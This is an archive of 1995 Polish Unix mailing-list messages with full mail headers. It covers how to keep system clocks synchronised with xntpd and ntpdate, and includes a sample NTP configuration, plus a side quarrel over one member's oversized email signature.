tylko czy w *.pl jest choc jeden system w sieci korzystajacy z powyzszych??? (Ma sie rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku ze poczta doszla przed wyslaniem.." Pozdrawiam, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From Janusz.Kaczmarek@CS.PUT.Poznan.PL Sun Jan 15 21:06:46 1995 Received: from zeus.sc.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10527; Sun, 15 Jan 95 21:05:46 +0100 Return-Path: Received: by zeus.sc.cs.put.poznan.pl (5.0/SMI-SVR4) id AA01696; Sun, 15 Jan 1995 21:07:52 --100 Date: Sun, 15 Jan 1995 21:07:52 --100 From: Janusz.Kaczmarek@CS.PUT.Poznan.PL (Janusz Kaczmarek) Message-Id: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu - nie na temat X-Sun-Charset: US-ASCII Content-Length: 1204 > Pozdrawiam, > -Krzysio > -- > +--------------------------------------------------------------------+ > | E-mail: IRC: | > | krzysio@hebe.umcs.lublin.pl Krzysio | > | krzysio@eleet.mimuw.edu.pl | > | krzysio@posejdon.kul.lublin.pl | > | krzysio@achir.kul.lublin.pl | > | krzysio@adam.kul.lublin.pl | > | krzysio@laplace.informatics.sunysb.edu Radio: | > | root@hebe.umcs.lublin.pl SQ5ASM | > | root@cool.umcs.lublin.pl | > | root@posejdon.kul.lublin.pl | > | | > | "You can't kill ... what was killed before ..." | > | - unknown vampire | > +--------------------------------------------------------------------+ Niezla kolekcja - jestem pod wrazeniem ;-) Janusz Kaczmarek From myszka@norka.immt.pwr.wroc.pl Sun Jan 15 22:11:46 1995 Received: from ldhpux.immt.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11628; Sun, 15 Jan 95 22:08:28 +0100 Return-Path: Received: from ldscoux.immt.pwr.wroc.pl by ldhpux.immt.pwr.wroc.pl with SMTP (1.36.108.7/16.2) id AA01513; Sun, 15 Jan 1995 22:11:02 +0100 Received: from norka.immt.pwr.wroc.pl by ldscoux.immt.pwr.wroc.pl id aa06757; Sun, 15 Jan 95 22:11:01 MET Received: by norka.immt.pwr.wroc.pl (UUPC/extended 1.12k); Sun, 15 Jan 1995 22:05:21 +0100 Message-Id: <2f198e11.norka@norka.immt.pwr.wroc.pl> Date: Sun, 15 Jan 95 22:05:18 MET From: Wojciech Myszka To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu Expires: Sun, 22 Jan 95 X-Mailer: ELM [version IBM-PC v2.1 PL63] Jaroslaw Rafa pisal: > Ale jaki jest sens takiego super dokladnego > synchronizowania czasu, o jakim tutaj koledzy pisali? --- Oprocz wszystkich przyczyn, ktore podali inni jest jeszcze jedna: kupuje sie komputer (komputery, stacje robocze...) o wartosci co najmniej kilku tysiecy $, wlacza do sieci lokalnej, do jakiejs sieci miejskiej (kilka mld starych zl) i nastepnie na kilkanastu serwerwerach unixowych mamy kilkanascie roznych cazsow. No bo po co ma byc jeden? Kilku administratorow nie ustawia na swoich serwerach poprawnie zmiennej TZ (i ma strefe czasowa jak gdzies w USA). Ktos inny tak dlugo nie ustawi poprawnej netmaski i broadcastu jak dlugo mu dziala na zlych, bo po co? I mozna tak dalej... I wlasnie zeby sie sprzeciwiac takiemu mysleniu - warto sobie ,,zrobic'' dokladny czas... Pozdrowienia Wojtek -- Wojciech A. Myszka tel: (+48 71) 51-48-58 54-129 Wroclaw Drzewieckiego 18/11 From krzysio@hebe.umcs.lublin.pl Sun Jan 15 22:31:46 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12365; Sun, 15 Jan 95 22:30:29 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA00409; Sun, 15 Jan 95 22:32:41 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501152132.AA00409@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl Date: Sun, 15 Jan 1995 22:32:40 +0100 (MET) In-Reply-To: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> from "Janusz Kaczmarek" at Jan 15, 95 09:09:38 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1252 Janusz Kaczmarek wrote: > > Niezla kolekcja - jestem pod wrazeniem ;-) > Ale i tak nie jest pelna ;) Pozdrawiam, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From lbs@phys.ufl.edu Sun Jan 15 23:05:08 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13194; Sun, 15 Jan 95 23:03:39 +0100 Return-Path: Received: by phys.ufl.edu (4.1/5.02) id AA18049; Sun, 15 Jan 95 17:06:06 EST Date: Sun, 15 Jan 95 17:06:06 EST From: Lech Borkowski Message-Id: <9501152206.AA18049@phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu - nie na temat | krzysio@hebe.umcs.lublin.pl Krzysio i dalsze adresy... Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'. Lech Borkowski From krzysio@hebe.umcs.lublin.pl Sun Jan 15 23:50:11 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14239; Sun, 15 Jan 95 23:49:15 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA00637; Sun, 15 Jan 95 23:51:28 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501152251.AA00637@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl Date: Sun, 15 Jan 1995 23:51:27 +0100 (MET) In-Reply-To: <9501152206.AA18049@phys.ufl.edu> from "Lech Borkowski" at Jan 15, 95 11:07:57 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1478 Lech Borkowski wrote: > > > | krzysio@hebe.umcs.lublin.pl Krzysio > i dalsze adresy... > > Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'. > Zazdrosc czy bezmyslnosc???? :))) A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy wieczor. Pozdrawiam, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From lbs@phys.ufl.edu Mon Jan 16 00:36:47 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15227; Mon, 16 Jan 95 00:35:34 +0100 Return-Path: Received: by phys.ufl.edu (4.1/5.02) id AA18328; Sun, 15 Jan 95 18:38:05 EST Date: Sun, 15 Jan 95 18:38:05 EST From: Lech Borkowski Message-Id: <9501152338.AA18328@phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu - nie na temat > | krzysio@hebe.umcs.lublin.pl Krzysio > i dalsze adresy... > > Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'. > Zazdrosc czy bezmyslnosc???? :))) A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy wieczor. Pozdrawiam, -Krzysio --- Estetyka. Piszesz jedna linijke tekstu, a pod nia 10 linijek adresow. 'smart' to na pewno nie jest. Lech Borkowski From chris@highresnmr.biophys.upenn.edu Mon Jan 16 00:41:47 1995 Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15269; Mon, 16 Jan 95 00:37:25 +0100 Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu id AA17382; Sun, 15 Jan 95 18:39:53 -0500 Return-Path: Received: by highresnmr.biophys.upenn.edu id AA16385; Sun, 15 Jan 95 18:32:39 EST Date: Sun, 15 Jan 95 18:32:39 EST From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski) Posted-Date: Sun, 15 Jan 95 18:32:39 EST Message-Id: <9501152332.AA16385@highresnmr.biophys.upenn.edu> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu - nie na temat >>Niezla kolekcja - jestem pod wrazeniem ;-) >> >ale i tak nie jest pelna ;) > Pozdrawiam, > -Krzysio A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie nie zasmiecac listy zbednymi informacjami? Rowniez pozdrawiam, Krzysztof Wroblewski From krzysio@hebe.umcs.lublin.pl Mon Jan 16 00:51:48 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16448; Mon, 16 Jan 95 00:51:11 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA00802; Mon, 16 Jan 95 00:53:23 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501152353.AA00802@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 00:53:23 +0100 (MET) In-Reply-To: <9501152338.AA18328@phys.ufl.edu> from "Lech Borkowski" at Jan 16, 95 00:39:50 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2456 Lech Borkowski wrote: > > > | krzysio@hebe.umcs.lublin.pl Krzysio > > i dalsze adresy... > > Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'. > Zazdrosc czy bezmyslnosc???? :))) > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, > gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy > wieczor. > > Pozdrawiam, > -Krzysio > > --- > > Estetyka. Piszesz jedna linijke tekstu, a pod nia 10 linijek > adresow. 'smart' to na pewno nie jest. > 1. Jak myslisz... w jakim celu sig zaczyna sie od "--"??? Otoz po to, aby umozliwic Ci automatyczne odcinanie sig'ow, jesli akurat nie lubisz ich widziec. 2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi: - poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie: Dlaczego w naszym Narodzie tak bardzo jest popularne zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi??? Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie, fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie dyskusje zamiast zajac sie po prostu praca :) Jeszcze raz pozdrawiam z zasypanego sniegiem Lublina, -Krzysio PS. To chyba naprawde nie jest temat tej listy... :) -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Mon Jan 16 00:56:48 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16520; Mon, 16 Jan 95 00:52:20 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA00809; Mon, 16 Jan 95 00:54:34 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501152354.AA00809@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl Date: Mon, 16 Jan 1995 00:54:33 +0100 (MET) In-Reply-To: <9501152332.AA16385@highresnmr.biophys.upenn.edu> from "Krzysztof Wroblewski" at Jan 16, 95 00:47:13 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1633 Krzysztof Wroblewski wrote: > > >>Niezla kolekcja - jestem pod wrazeniem ;-) > >> > >ale i tak nie jest pelna ;) > > Pozdrawiam, > > -Krzysio > > A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji > (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie > nie zasmiecac listy zbednymi informacjami? > Rowniez pozdrawiam, > Krzysztof Wroblewski > Jasne, ze moge..., ale czy musze? Reszta: patrz na moja odpowiedz na posting Lecha Borkowskiego. Regards, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From lbs@phys.ufl.edu Mon Jan 16 02:01:47 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18110; Mon, 16 Jan 95 01:58:50 +0100 Return-Path: Received: by phys.ufl.edu (4.1/5.02) id AA18542; Sun, 15 Jan 95 19:39:57 EST Date: Sun, 15 Jan 95 19:39:57 EST From: Lech Borkowski Message-Id: <9501160039.AA18542@phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu - nie na temat Moze inni lubia, jak im te smieci z 10 adresami laduja na ekranie. Ja nie. Nie narzucam ci, co masz robic. Daje ci znac, ze jest to uciazliwe, gdy facio rzuca jedna linijka i 10 adresami. To by bylo na tyle. LB From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 02:05:21 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18142; Mon, 16 Jan 95 02:02:00 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id CAA07990 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 02:03:22 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 15 Jan 1995 19:55:27 -0500 From: zbig@junior.wariat.org (Zbigniew J. Tyrlik) Message-Id: <3fcg5v$k50@junior.wariat.org> Organization: Akademia Pana Kleksa, Public Access Uni* Site Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> Subject: Re: Ustawianie czasu - nie na temat In <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> Janusz.Kaczmarek@CS.PUT.Poznan.PL (Janusz Kaczmarek) writes: >> Pozdrawiam, >> -Krzysio >> -- >> +--------------------------------------------------------------------+ >> | E-mail: IRC: | >> | krzysio@hebe.umcs.lublin.pl Krzysio | >> | krzysio@eleet.mimuw.edu.pl | >> | krzysio@posejdon.kul.lublin.pl | >> | krzysio@achir.kul.lublin.pl | >> | krzysio@adam.kul.lublin.pl | >> | krzysio@laplace.informatics.sunysb.edu Radio: | >> | root@hebe.umcs.lublin.pl SQ5ASM | >> | root@cool.umcs.lublin.pl | >> | root@posejdon.kul.lublin.pl | >> | | >> | "You can't kill ... what was killed before ..." | >> | - unknown vampire | >> +--------------------------------------------------------------------+ >Niezla kolekcja - jestem pod wrazeniem ;-) W sam raz do alt.fan.warlord >Janusz Kaczmarek ( a moze split personality ??? ) _zjt -- Zbigniew J. Tyrlik DoD# 0759 FJ1200 `89-Silver... zbig@wariat.org APK on the move New Phone - 216-241-7541 active Jan 09.95 Feeds, shell, FTP, telnet, SL/IP,PPP Uniboard distribution point From up678@freenet.victoria.bc.ca Mon Jan 16 03:01:48 1995 Received: from VIFA1.FREENET.VICTORIA.BC.CA by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20219; Mon, 16 Jan 95 03:01:36 +0100 Return-Path: Received: (from up678@localhost) by vifa1.freenet.victoria.bc.ca (8.6.9/8.6.9) id SAA16681; Sun, 15 Jan 1995 18:04:34 -0800 Date: Sun, 15 Jan 1995 18:04:31 -0800 (PST) From: Konrad Cedro Subject: Re: Ustawianie czasu - nie na temat To: polip@zsku.p.lodz.pl In-Reply-To: <9501152353.AA00802@hebe.umcs.lublin.pl> Message-Id: On Mon, 16 Jan 1995, Krzysztof Mlynarski wrote: > > Zazdrosc czy bezmyslnosc???? :))) > > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, > > gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy > > wieczor. > 1. Jak myslisz... w jakim celu sig zaczyna sie od "--"??? > Otoz po to, aby umozliwic Ci automatyczne odcinanie sig'ow, > jesli akurat nie lubisz ich widziec. > 2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi: > - poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie: > Dlaczego w naszym Narodzie tak bardzo jest popularne > zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi??? > Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie, > fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie > dyskusje zamiast zajac sie po prostu praca :) > -Krzysio Nie nudz, Krzysiu i nie wymadrzaj sie... Wszak jestes tylko Krzysiem i to akurat brzmi adekwatnie... :) Ciao, Konio ;) From wowoc@acs.ucalgary.ca Mon Jan 16 05:41:42 1995 Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01145; Mon, 16 Jan 95 05:40:47 +0100 Return-Path: Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03) id AA57034; Sun, 15 Jan 1995 21:44:10 -0700 Date: Sun, 15 Jan 1995 21:44:10 -0700 From: wowoc@acs.ucalgary.ca (Witold Owoc) Message-Id: <9501160444.AA57034@acs7.acs.ucalgary.ca> To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu Skoro ten co zaczal cala dyskusje, prosil o odpowiedzi prywatne. To czemu wszyscy pisza na liste ? :-) Witold Owoc P.S. W srodowisku NFS gdy kilka osob pracuje nad tym samym projektem utrzymanie zgodnego czasu jest bardzo istotne. 'make' moze dac rezultaty odmienne od zadanych lub wogole nie dzialac. A jesli chodzi o znalezienie komputerow z dokladnym czasem na sieci w Polsce, to na pewno wszyscy astronomowie maja swoje komputery ustawione wlasciwie - starczy zadzwonic do najblizszego obserwatorium. Dla np. Poznania najblizszym obserwatorium ze 'sluzba czasu' jest Astronomiczne Obserwatorium Szerokosciowe PAN-u w Borowcu k. Kornika. -- #disclaimer "my.private.views" +--------------------------------------------------------------------+ | E-mail: IRC: | | wowoc@acs.ucalgary.ca witek | | witold@enme.ucalgary.ca (chwilowo nieczynne) | | owocw@lokalna-UNIX-User-Group.ab.ca | | Witold.Owoc@tam-gdzie-pracuje.com | | witold@kopernik.tam-gdzie-pracuje.com | | root@kopernik.tam-gdzie-pracuje.com | | witek@gosia.tam-gdzie-pracuje.com (nie polecane - PPP do domu) | | root@gosia.tam-gdzie-pracuje.com | | rozne@rozne-miejsca-gdzie-konsultuje.ca | | | | Wspolwlasciciel Poland-L: | | owner-poland-l@ubvm.cc.buffalo.edu | | poland-l-request@ubvm.cc.buffalo.edu | | | |--------------------------------------------------------------------| | The University of Calgary had no knowledge of nor in any | | way gave its consent to the transmission of this message. | |--------------------------------------------------------------------| | Views present above are not views belonging to | | any of my employers past, present or future. | +--------------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 09:46:44 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04067; Mon, 16 Jan 95 09:42:01 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14362 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 09:30:52 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 08:14:30 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3fd9t6$78l@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501152332.AA16385@highresnmr.biophys.upenn.edu> Subject: Re: Ustawianie czasu - nie na temat Krzysztof Wroblewski (chris@highresnmr.biophys.upenn.edu) wrote: > >>Niezla kolekcja - jestem pod wrazeniem ;-) > >ale i tak nie jest pelna ;) > > -Krzysio > A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji > (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie > nie zasmiecac listy zbednymi informacjami? Taki sig niesie bardzo wiele pozytecznych informacji. Jeden rzut oka (no moze dwa, bo czasem sie nie zmiesci na stronie) i mozna sie wiele domyslec o wlascicielu. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 10:05:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04878; Mon, 16 Jan 95 10:01:58 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14729 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 09:51:15 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 08:30:12 GMT From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski) Message-Id: <3fdaqk$nn5@galaxy.uci.agh.edu.pl> Organization: Cracow University of Technology Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl>, <3f9f7a$ng4@Waldemar.mat.uni.torun.pl> Subject: Re: Regulowanie czasu Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote: : Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : > S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote: : > : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? : > Wg hejnalu z Wiezy Mariackiej :-) : > Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund, : > jesli "drift" na moim Sunie wynosi nawet do 20s dziennie? : To tym bardziej potrzebujesz go ustawiac. Pusc xntpd lub ntpdate (to drugie : z crona raz na godzine). Sciagnalem ci ja sobie ostatnio dystrybucje xntp, lacznie z klientem dla MS Widows, i mam malych pare pytan: 1)czy ktos z was tego uzywa, i wie jak to to skonfigurowac (RTFM ?!?) 2)czy ktos z was tego nawet nie uzywa, ale wie gdzie sa jakies rozsadnie bliskie ogolno dostepne time servery, bo zdaje sie, ze xntpd lubi sie komunikowac ze swiatem sorry, jesli uznacie to za FAQ, ale przynajmniej na pytanie 2 odpowiedzi w dokumentacji nie znalazlem :( Marcin;) -- ------------------------------------------------------------------------------ Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek WWW home page - http://www.pk.edu.pl/~marcin - still under construction...... ------------------------------------------------------------------------------ YOUR bus ALWAYS ARRIVES LATER :( From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 12:26:45 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06988; Mon, 16 Jan 95 12:21:54 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA16988 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 12:17:39 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 11:40:16 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fdieg$e07@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501160444.AA57034@acs7.acs.ucalgary.ca> Subject: Re: Ustawianie czasu Witold Owoc (wowoc@acs.ucalgary.ca) wrote: : -- : #disclaimer "my.private.views" : +--------------------------------------------------------------------+ : | E-mail: IRC: | : | wowoc@acs.ucalgary.ca witek | : | witold@enme.ucalgary.ca (chwilowo nieczynne) | : | owocw@lokalna-UNIX-User-Group.ab.ca | : | Witold.Owoc@tam-gdzie-pracuje.com | : | witold@kopernik.tam-gdzie-pracuje.com | : | root@kopernik.tam-gdzie-pracuje.com | : | witek@gosia.tam-gdzie-pracuje.com (nie polecane - PPP do domu) | : | root@gosia.tam-gdzie-pracuje.com | : | rozne@rozne-miejsca-gdzie-konsultuje.ca | Czy mi sie zdaje, czy ktos sie tu z kogos nabija? ;-) BTW. Ja, zeby uzyc .sig na 6 linijek, musialem najpierw zrobic krzywde INN (bo nie chcial akceptowac .sig dluzszego niz 4 linie). Albo inni uzywaja innego "news software", albo korzystaja z polipa przez e-mail, albo zrobili to samo... :-) -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 12:26:54 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06991; Mon, 16 Jan 95 12:21:56 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA16860 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 12:07:39 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 16 Jan 1995 10:57:41 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3fdjf5$78l@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f87sn$6bk@galaxy.uci.agh.edu.pl>, <3f9f7a$ng4@Waldemar.mat.uni.torun.pl>, <3fdaqk$nn5@galaxy.uci.agh.edu.pl> Subject: Re: Regulowanie czasu Marcin Klimowski (marcin@pk-siec.oeto.pk.edu.pl) wrote: > Sciagnalem ci ja sobie ostatnio dystrybucje xntp, > lacznie z klientem dla MS Widows, To on nie zyje? Bardzo milo... >i mam malych pare pytan: > 1)czy ktos z was tego uzywa, i wie jak to to skonfigurowac (RTFM ?!?) Kiedys synchronizacja czasu byla potrzebna w obserwatorium. Zaden komputer nie jest podlaczony bezposrednio do zegara atomowego wiec najprosciej bylo puscic xntpd. Konfiguracja jest dosc prosta (mam nadzieje, ze w ciagu 2 lat nie zmienilo sie nic w formatach i opcjach). Do rc mozna dopisac cos jak: # te dwie linie tylko dla HP - adjtime impaired /usr/local/etc/adjtimed sleep 1 #/usr/local/etc/ntpdate ntp2.chalmers.se (129.16.1.1) /usr/local/etc/ntpdate chalmers.se /usr/local/etc/xntpd -c /usr/local/etc/xntp.conf Widac od razu jak wolac ntpdate. xntpd potrzebuje xntp.conf, ktory wyglada u mnie tak: peer 129.16.9.9 # ntp1.chalmers.se = nyheter.chalmers.se peer 129.16.1.1 # ntp2.chalmers.se = chalmers.se driftfile /etc/ntp.drift Jezeli sie uzywa xntpd to uzyteczny jest tez program ntpq, np.: rzm@dain:~,0# ntpq -p anna.mat.uni.torun.pl 